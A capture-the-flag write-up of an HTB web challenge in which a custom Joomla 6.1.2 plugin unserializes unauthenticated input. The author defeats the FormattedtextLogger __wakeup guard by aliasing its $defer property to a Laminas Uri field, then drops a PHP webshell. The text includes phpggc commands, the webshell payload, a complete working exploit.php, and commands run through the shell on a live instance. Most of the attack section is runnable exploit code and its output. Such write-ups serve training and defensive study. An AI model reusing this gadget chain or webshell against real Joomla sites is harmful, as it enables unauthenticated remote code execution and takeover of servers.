HTB Cyber Apocalypse 2026 - The Salt Crown: Web / Provisioneds (Easy)

Author: Hubert Feyrer / hubertf - 31.07.2026

Note: this challenge was solved after the CTF had ended, and the flag was never submitted. It is documented here for the technique, not as a scored solve.

A Joomla 6.1.2 site with a custom system plugin that calls unserialize() on unauthenticated user input. The standard Joomla file-write gadget is blocked by a __wakeup() guard added in Joomla 5.2.2, and PHP 8.4 closes the usual fast-destruct escape. The solution reopens that gadget by aliasing the guarded property to a value that a second gadget mutates after __wakeup() has run.

1. Download

$ ls -la
-rw-r--r--@ 1 feyrer staff 1640441 Jul 30 21:30 a24d97c4-7cfb-47d1-9838-ed4378ac3ac0-1784541424.zip

$ file a24d97c4-7cfb-47d1-9838-ed4378ac3ac0-1784541424.zip
a24d97c4-7cfb-47d1-9838-ed4378ac3ac0-1784541424.zip: Zip archive data, at least v1.0
to extract, compression method=store
$ unzip -l a24d97c4-7cfb-47d1-9838-ed4378ac3ac0-1784541424.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  07-14-2026 04:58   challenge/
      128  07-14-2026 04:05   challenge/readflag.c
        0  07-14-2026 03:49   challenge/config/
      610  07-14-2026 03:49   challenge/config/supervisord.conf
     1481  07-14-2026 04:59   challenge/Dockerfile
       26  07-14-2026 04:56   challenge/flag.txt
        0  07-14-2026 03:49   challenge/plugin/
      610  07-14-2026 03:49   challenge/plugin/gatehouse.xml
        0  07-14-2026 03:49   challenge/plugin/services/
      917  07-14-2026 03:49   challenge/plugin/services/provider.php
        0  07-14-2026 03:49   challenge/plugin/media/
        0  07-14-2026 04:50   challenge/plugin/media/images/
   370298  07-14-2026 04:49   challenge/plugin/media/images/ward-map-eastreach.webp
   104386  07-14-2026 04:49   challenge/plugin/media/images/parchment-blank.webp
   113956  07-14-2026 04:49   challenge/plugin/media/images/cta-kitchens.webp
    72483  07-14-2026 04:50   challenge/plugin/media/images/eastreach-mark.png
    60441  07-14-2026 04:50   challenge/plugin/media/images/cargo-oil.png
    53081  07-14-2026 04:50   challenge/plugin/media/images/cargo-coal.png
   107198  07-14-2026 04:49   challenge/plugin/media/images/cta-carriers.webp
   130968  07-14-2026 04:49   challenge/plugin/media/images/cta-bridge.webp
    72649  07-14-2026 04:50   challenge/plugin/media/images/cargo-brine.png
    52411  07-14-2026 04:50   challenge/plugin/media/images/cargo-blankets.png
   125928  07-14-2026 04:49   challenge/plugin/media/images/cta-unloading.webp
    54561  07-14-2026 04:50   challenge/plugin/media/images/cargo-medicine.png
    70360  07-14-2026 04:50   challenge/plugin/media/images/cargo-grain.png
   115322  07-14-2026 04:49   challenge/plugin/media/images/relief-yard.webp
   113118  07-14-2026 04:49   challenge/plugin/media/images/cta-handoff.webp
     4009  07-14-2026 03:49   challenge/plugin/media/gatehouse.js
    18624  07-14-2026 04:51   challenge/plugin/media/gatehouse.css
        0  07-14-2026 03:49   challenge/plugin/src/
        0  07-14-2026 03:49   challenge/plugin/src/Extension/
     2956  07-14-2026 03:49   challenge/plugin/src/Extension/Gatehouse.php
        0  07-14-2026 03:49   challenge/plugin/src/Workflow/
     7639  07-14-2026 03:49   challenge/plugin/src/Workflow/GatehouseRepository.php
    19852  07-14-2026 04:50   challenge/plugin/src/Workflow/GatehouseRenderer.php
        0  07-14-2026 03:49   challenge/scripts/
     3405  07-14-2026 03:49   challenge/scripts/entrypoint.sh
       62  07-14-2026 03:49   challenge/docker-compose.yml
---------                     -------
  1677479                     38 files

Almost all of the volume is artwork. The actual source is three PHP files under plugin/src/ plus the build scripts. Joomla itself is not in the archive - the Dockerfile fetches it at build time.

Three files define the goal. From the Dockerfile:

FROM php:8.4-apache
...
RUN gcc /tmp/readflag.c -o /readflag && \
    chown root:root /readflag && chmod 4755 /readflag && \
    chown root:root /root/flag.txt && chmod 600 /root/flag.txt && chmod 700 /root
...
RUN curl -fsSL "https://downloads.joomla.org/cms/joomla6/6-1-2/Joomla_6-1-2-Stable-Full_Package.zip?format=zip" ...

readflag.c in full:

#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    system("/bin/cat /root/flag.txt");
    return 0;
}

And from entrypoint.sh:

ADMIN_PASS="$(tr -dc 'A-Za-z0-9' < /dev/urandom | head -c 32)"

So: the flag is root-only, but /readflag is SUID root and prints it for anybody. The admin password is 32 random characters per container start, so attacking the Joomla backend login is pointless. The goal reduces to command execution as www-data.

2. Docker - banner and what we get

$ cd challenge && docker compose up -d
 Network challenge_default  Created
 Container challenge-target-1  Started

$ curl -sI http://localhost:1337/
HTTP/1.1 200 OK
Date: Fri, 31 Jul 2026 13:57:33 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.4.23
Set-Cookie: 714d9ebc20e77ecd0223d70ecfc51506=fdbdd842979b2cbcb18e046faa6a0c40; path=/; HttpOnly
Content-Type: text/html; charset=UTF-8

The site is a public supply-status board:

$ curl -s http://localhost:1337/ | sed -e 's/<[^>]*>//g' | grep -v '^\s*$' | head -6
Eastreach Provision Office
Eastreach Provision Office
Ward supply updates
Together, the wards stand ... Every carrier has a route ... Goods move before nightfall
Ward map High Keep Market Ring Lower Ward Rivergate ...
Months listed 9 Packages received 19890

There is a second screen, and that one is gated:

$ curl -s 'http://localhost:1337/?provision=dispatch' | sed -e 's/<[^>]*>//g' | grep -v '^\s*$'
Eastreach Provision Office Staff sign-in required Dispatch desk is guarded Sign in Public page

Anonymously we get a read-only board; the "dispatch" function sits behind a login we cannot pass. Note X-Powered-By: PHP/8.4.23 - it will decide which deserialization tricks still work.

3. Analysis steps

3.1 Look for dangerous sinks in the Gatehouse plugin (success)

Only three PHP files are custom code, so grep for the usual suspects first.

$ grep -rn 'unserialize' challenge/plugin/src/
challenge/plugin/src/Workflow/GatehouseRepository.php:63:        $data = @unserialize($ledger);
public function importMonthlyLedger(string $ledger): array
{
    if (trim($ledger) === '') { ... }

    $data = @unserialize($ledger);          // <-- object injection

    if (!is_array($data)) { ... }

    return $this->importMonthlyRecords($data);
}

Conclusion: Object injection, if the method is reachable. Next: find the caller and check whether it needs a login.

3.2 Trace the caller (success)

Gatehouse.php is a system plugin, so it hooks Joomla lifecycle events. Which event reaches the sink, and does it authenticate?

public function onAfterRoute(AfterRouteEvent $event): void
{
    $app = $event->getApplication();

    if (!$this->isAdminImportContext($app)) {
        return;
    }

    $ledger = $app->getInput()->getRaw('ledger', '');

    if (!is_string($ledger) || trim($ledger) === '') {
        return;
    }

    (new GatehouseRepository())->importMonthlyLedger($ledger);
}

isAdminImportContext() checks exactly three things, all of them attacker-supplied request parameters:

No session or ACL check anywhere - and onAfterRoute fires before the Joomla administrator application runs its own authentication. Probing with harmless data:

$ curl -X POST 'http://localhost:1337/administrator/index.php?option=com_provision&view=dispatch&task=ledger.import' \
       --data-urlencode 'ledger=a:1:{i:0;a:2:{s:5:"month";s:9:"TestMonth";s:8:"packages";i:9999;}}'

$ curl -s http://localhost:1337/ | grep -o 'TestMonth'
TestMonth

Conclusion: Unauthenticated object injection confirmed - our data was deserialized and rendered. Next: find a gadget chain that turns it into code execution.

3.3 Note a second primitive (success)

Before hunting gadgets, check what the code does with the deserialized array - sometimes the processing itself is a trigger.

// normalizeMonthlyGoods()
$label = $this->clean((string) ($entry['month'] ?? $entry['label'] ?? ''));

Conclusion: An object in $entry['month'] gets its __toString() called at a point we control. Park this - it becomes the key later.

3.4 Try the standard Joomla gadget (failed)

phpggc is the fastest thing to try before writing anything by hand.

$ php phpggc/phpggc --list | grep -i joomla
Joomla/FW1     3.9.0 <= 5.2.1     File write     __destruct     *

It abuses the Joomla core class FormattedtextLogger and its __destruct(), with both $path and $format attacker-controlled:

public function __destruct()
{
    if (!$this->defer || empty($this->deferredEntries)) {
        return;
    }

    $this->initFile();
    $lines = array_map([$this, 'formatLine'], $this->deferredEntries);
    File::write($this->path, implode("\n", $lines) . "\n", false, true);
}
$ echo '<?php system($_GET["c"]); ?>' > /tmp/shell.php
$ php phpggc/phpggc Joomla/FW1 /var/www/html/tmp/pg.php /tmp/shell.php > fw1.txt
$ curl -o /dev/null -w 'import: HTTP %{http_code}\n' -X POST \
       'http://localhost:1337/administrator/index.php?option=com_provision&view=dispatch&task=ledger.import' \
       --data-urlencode 'ledger@fw1.txt'
import: HTTP 500

$ curl -o /dev/null -w 'shell:  HTTP %{http_code}\n' 'http://localhost:1337/tmp/pg.php'
shell:  HTTP 404

The version range in the listing explains it - Joomla 5.2.2 added a guard:

public function __wakeup()
{
    if ($this->defer && !empty($this->deferredEntries)) {
        throw new \RuntimeException('Can not unserialize in defer mode');
    }
}

Conclusion: The guard condition is logically identical to the destructor condition, so there is no type-confusion gap to exploit. Next: try fast-destruct, the classic answer to a throwing __wakeup().

3.5 Try fast-destruct (failed)

A duplicate array key makes PHP free the object mid-deserialization, so __destruct() may run before the exception matters. phpggc does this with -f.

$ php phpggc/phpggc -f Joomla/FW1 /var/www/html/tmp/pgf.php /tmp/shell.php > fw1f.txt
$ curl -o /dev/null -w 'import: HTTP %{http_code}\n' -X POST \
       'http://localhost:1337/administrator/index.php?option=com_provision&view=dispatch&task=ledger.import' \
       --data-urlencode 'ledger@fw1f.txt'
import: HTTP 500

$ curl -o /dev/null -w 'shell:  HTTP %{http_code}\n' 'http://localhost:1337/tmp/pgf.php'
shell:  HTTP 404

Reduced to a minimal test inside the container to see what PHP 8.4 actually does:

class G {
    public $x = true;
    public function __wakeup()   { if ($this->x) throw new RuntimeException("guard"); }
    public function __destruct() { echo "  -> __destruct() RAN\n"; }
}
$s = "O:1:\"G\":1:{s:1:\"x\";b:1;}";

try { unserialize($s); } catch (Throwable $e) { echo "  __wakeup threw: " . $e->getMessage() . "\n"; }
try { unserialize("a:2:{i:7;" . $s . "i:7;i:1;}"); } catch (Throwable $e) { echo "  __wakeup threw: " . $e->getMessage() . "\n"; }
$ docker compose exec target php /tmp/wt.php
PHP 8.4.23

plain unserialize:
  __wakeup threw: guard

fast-destruct (duplicate array key):
  __wakeup threw: guard

(no "__destruct() RAN" line above = destructor never fired)

Conclusion: In PHP 8.4 an object whose __wakeup() throws never has its __destruct() called. This gadget is dead as published. Next: look for a different gadget.

3.6 Enumerate all other gadget candidates (failed)

Rather than guessing, reflect over every class the Joomla autoloader knows and keep those with __destruct/__toString/__invoke but no __wakeup/__unserialize guard.

$ docker compose exec target php /tmp/scan.php   # reflection over autoload_classmap.php
3489 classes in classmap
CandidateOutcome
FormattedtextLogger__wakeup guard, throws
GuzzleHttp\Psr7\FnStream__wakeup guard, throws
Symfony\...\BufferingLogger__unserialize guard, throws
Symfony\...\Internal\Canarytyped Closure property, not deserializable
PHPMailer, FtpClient, Image, DatabaseDriver, PdoDriver, SqliteDriver, DatabaseIterator, SyslogLogger, joomla/filesystem Stream, the Symfony HTTP-client responses, ldap Query/Connection __destruct only does resource cleanup (close handle, disconnect, free GD resource) - no useful side effect

The other published chains need packages Joomla does not ship:

Conclusion: No off-the-shelf chain works, and the Joomla logger file write stays the only useful primitive. The Joomla 5.2.2 guard has to be defeated head-on.

3.7 Defeat the guard (success)

The guard and the destructor check the same condition, but at different times: __wakeup() during unserialize(), __destruct() when the object is freed. And step 3.3 gives us a __toString() that fires in between. Since serialization supports references (R:), two properties can share one zval - so the search target is a class whose __toString() writes a truthy value into one of its own properties. Searching Joomla's library tree (/var/www/html/libraries, i.e. Joomla core plus its composer vendor tree):

$ docker compose exec target bash -c 'cd /var/www/html/libraries && \
    for f in $(grep -rl "__toString" vendor/ src/ | grep "\.php$"); do \
      awk "/function __toString/,/^    \}/" "$f" | grep -q "\$this->[a-zA-Z_]* *=" && echo "$f"; \
    done'
vendor/laminas/laminas-diactoros/src/Uri.php
vendor/joomla/database/src/DatabaseQuery.php
vendor/joomla/database/src/Query/PostgresqlQueryBuilder.php
vendor/joomla/database/src/Query/MysqlQueryBuilder.php
vendor/joomla/database/src/Sqlsrv/SqlsrvQuery.php
vendor/joomla/database/src/Sqlite/SqliteQuery.php
vendor/symfony/console/Completion/CompletionInput.php
vendor/symfony/string/LazyString.php
vendor/brick/math/src/BigDecimal.php

The first hit is exactly right - Laminas\Diactoros\Uri memoizes its result:

private ?string $uriString = null;

public function __toString(): string
{
    if (null !== $this->uriString) {
        return $this->uriString;
    }

    $this->uriString = static::createUriString(
        $this->scheme, $this->getAuthority(), $this->path, $this->query, $this->fragment
    );

    return $this->uriString;
}

null (falsy) before the first cast, non-empty string (truthy) after. The receiving side fits too: Joomla's FormattedtextLogger::$defer is declared protected $defer = false; - untyped, so the shared slot may change from null to string without a reference type error.

Serializing the Uri first makes $defer an R: reference to the still-null slot:

a:2:{
  i:0; a:2:{ s:5:"month"; O:21:"Laminas\Diactoros\Uri":8:{ ... uriString => N ... }
             s:8:"packages"; i:1; }
  i:1; O:41:"Joomla\CMS\Log\Logger\FormattedtextLogger":7:{ ... defer => R:11 ... }
}

Conclusion: Guard bypassed, file write works. Next: make the written file actually execute.

3.8 Remove the "Forbidden" header (failed, then fixed)

The file lands under the webroot, but requesting it does not run our code.

$ curl 'http://localhost:1337/tmp/sh.php?c=id'
#
#Forbidden.

$ docker compose exec target cat /var/www/html/tmp/sh.php
#
#<?php die('Forbidden.'); ?>
#Date: 2026-07-31 13:25:35 UTC
#Software: Joomla! 6.1.2 Stable [ Nyota ] 7-July-2026 16:00 UTC

#Fields: <?php system($_get["c"]); ?>
<?php system($_GET["c"]); ?>

The Joomla logger's __destruct() calls initFile(), which prepends a header:

if (empty($this->options['text_file_no_php'])) {
    $head[] = '#';
    $head[] = '#<?php die(\'Forbidden.\'); ?>';
}

Conclusion: The condition reads an attacker-controlled property - set options['text_file_no_php'] = true in the serialized logger.

3.9 Survive the lowercased copy of the payload (failed, then fixed)

With the Joomla die() header gone PHP does execute - and crashes.

$ curl 'http://localhost:1337/tmp/sh2.php?c=id'
#Date: 2026-07-31 13:26:18 UTC
#Software: Joomla! 6.1.2 Stable [ Nyota ] 7-July-2026 16:00 UTC

#Fields:
Warning: Undefined variable $_get in /var/www/html/tmp/sh2.php on line 4
Warning: Trying to access array offset on null in /var/www/html/tmp/sh2.php on line 4
Deprecated: system(): Passing null to parameter #1 ($command) of type string is deprecated
Fatal error: Uncaught ValueError: system(): Argument #1 ($command) must not be empty in
/var/www/html/tmp/sh2.php:4

The Joomla log header has one more line, and this one cannot be switched off:

$head[] = '#Fields: ' . strtolower(str_replace('}', '', str_replace('{', '', $this->format)));

A lowercased, brace-stripped copy of the payload lands above the intact one. $_GET becomes $_get, and PHP 8 raises an uncaught ValueError from system('') - fatal, so the good copy never runs. Wrapping the payload in isset() makes the broken copy a no-op:

<?php if(isset($_GET["c"]))system($_GET["c"]); ?>
$ curl 'http://localhost:1337/tmp/sh3.php?c=id'
#Date: 2026-07-31 13:26:43 UTC
#Software: Joomla! 6.1.2 Stable [ Nyota ] 7-July-2026 16:00 UTC

#Fields: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Conclusion: RCE as www-data. The payload must also avoid { and }, since braces are stripped from the header copy.

4. Solution

exploit.php. The stub classes carry the same namespaces and property visibilities as the real Joomla and laminas-diactoros classes, so serialize() emits the correct \0*\0 (protected) and \0Class\0 (private) name mangling. The ref() method exists only to hand out a reference to the private $uriString. Only PHP core functions are used - no curl_*, since php-curl is not installed everywhere.

<?php
/*
 * HTB Salt Crown 2026 - Web "Provisioneds"
 *
 * Usage:  php exploit.php http://HOST:PORT [command]
 */

namespace Laminas\Diactoros {
    class Uri
    {
        private $scheme = '';
        private $userInfo = '';
        private $host = '';
        private $port = null;
        private $path = '';
        private $query = '';
        private $fragment = '';
        private $uriString = null;

        public function __construct($path)
        {
            $this->path = $path;
        }

        public function &ref()
        {
            return $this->uriString;
        }
    }
}

namespace Joomla\CMS\Log {
    class LogEntry
    {
        public $message  = 'x';
        public $priority = 1;
        public $date     = '2026-01-01';
        public $time     = '00:00:00';
        public $datetime = '2026-01-01T00:00:00+00:00';
        public $category = 'x';
        public $clientIP = '127.0.0.1';
    }
}

namespace Joomla\CMS\Log\Logger {
    class FormattedtextLogger
    {
        protected $options         = ['text_file_no_php' => true];
        protected $priorities      = [1 => 'X'];
        protected $format;
        protected $fields          = [];
        protected $path;
        protected $defer;
        protected $deferredEntries = [];

        public function __construct($path, $payload, &$deferRef)
        {
            $this->path            = $path;
            $this->format          = $payload;
            $this->defer           = &$deferRef;
            $this->deferredEntries = [new \Joomla\CMS\Log\LogEntry()];
        }
    }
}

namespace {
    $base = rtrim($argv[1] ?? '', '/');
    $cmd  = $argv[2] ?? '/readflag';

    if ($base === '') {
        fwrite(STDERR, "usage: php exploit.php http://HOST:PORT [command]\n");
        exit(1);
    }

    $shell   = 'sh' . substr(md5(random_bytes(8)), 0, 8) . '.php';
    $target  = '/var/www/html/tmp/' . $shell;
    $payload = '<?php if(isset($_GET["c"]))system($_GET["c"]); ?>';

    $uri    = new \Laminas\Diactoros\Uri('trigger');
    $ref    = &$uri->ref();
    $logger = new \Joomla\CMS\Log\Logger\FormattedtextLogger($target, $payload, $ref);

    // The Uri must come first so $defer becomes an R: reference to $uriString.
    $ledger = serialize([
        ['month' => $uri, 'packages' => 1],
        $logger,
    ]);

    $status = static function (array $headers): int {
        return isset($headers[0]) && preg_match('#^HTTP/[\d.]+ (\d{3})#', $headers[0], $m)
            ? (int) $m[1]
            : 0;
    };

    $url  = $base . '/administrator/index.php?option=com_provision&view=dispatch&task=ledger.import';
    $body = http_build_query(['ledger' => $ledger]);

    $ctx = stream_context_create(['http' => [
        'method'        => 'POST',
        'header'        => "Content-Type: application/x-www-form-urlencoded\r\n"
                         . 'Content-Length: ' . strlen($body) . "\r\n",
        'content'       => $body,
        'timeout'       => 30,
        'ignore_errors' => true,
    ]]);

    @file_get_contents($url, false, $ctx);
    $code = $status($http_response_header ?? []);

    if ($code !== 200) {
        fwrite(STDERR, "ledger import returned HTTP $code\n");
        exit(1);
    }
    echo "[+] webshell dropped: /tmp/$shell\n";

    $ctx = stream_context_create(['http' => ['timeout' => 30, 'ignore_errors' => true]]);
    $out = @file_get_contents($base . '/tmp/' . $shell . '?c=' . urlencode($cmd), false, $ctx);
    $code = $status($http_response_header ?? []);

    if ($code !== 200) {
        fwrite(STDERR, "webshell returned HTTP $code\n");
        exit(1);
    }

    // Strip the log file header generateFileHeader() prepended.
    $out = preg_replace('/^#Date:.*\n#Software:.*\n\n#Fields: /', '', $out);
    echo $out;
}

5. Run it

Against the local container first, to confirm the chain end to end:

$ docker compose exec target php /tmp/exploit.php http://localhost /readflag
[+] webshell dropped: /tmp/she78db032.php
HTB{f4k3_fl4g_f0r_t3st1ng}

That is the placeholder flag.txt from the archive, so the chain works. Now the live instance:

$ php exploit.php http://154.57.164.69:32381 /readflag
[+] webshell dropped: /tmp/sh8593d418.php
HTB{j00mla_g4dg3t_ch41n_4r3_fun_r1ght?_d93b039acdeba083e83944f0014afc58}

The dropped shell stays usable for anything else - the command goes in the c parameter, and the first three lines of the response are the log header:

$ curl -s 'http://154.57.164.69:32381/tmp/sh8593d418.php?c=id'
#Date: 2026-07-31 14:00:51 UTC
#Software: Joomla! 6.1.2 Stable [ Nyota ] 7-July-2026 16:00 UTC

#Fields: uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl -s -G 'http://154.57.164.69:32381/tmp/sh8593d418.php' --data-urlencode 'c=ls -la /'   # for commands with spaces

Flag

HTB{j00mla_g4dg3t_ch41n_4r3_fun_r1ght?_d93b039acdeba083e83944f0014afc58}

6. Summary of how the exploit works

#StageMechanism
1Auth bypass onAfterRoute fires before Joomla's administrator authentication, and isAdminImportContext() only inspects request parameters. An anonymous POST reaches the Gatehouse plugin's import handler.
2Object injection @unserialize() on the raw ledger POST parameter.
3Guard bypass An R: reference aliases Joomla's FormattedtextLogger::$defer onto laminas-diactoros' Uri::$uriString. That slot is null during __wakeup(), so the Joomla 5.2.2 guard sees a falsy value and does not throw.
4State flip normalizeMonthlyGoods() casts $entry['month'] to string. Uri::__toString() memoizes "trigger" into the shared slot, so $defer is now truthy.
5File write importMonthlyLedger() returns, the Joomla logger's refcount hits zero, and __destruct() writes $format to $path - a PHP file under the webroot.
6RCE Requesting the dropped shell runs commands as www-data, which executes the SUID root /readflag.

The core of it is stages 3 and 4. The __wakeup() guard is not weak in isolation - it checks exactly the right condition. It fails because it validates state that another gadget is still allowed to modify afterwards: a check at deserialization time cannot protect a check at destruction time when the value in between is shared and mutable.

Notes for defenders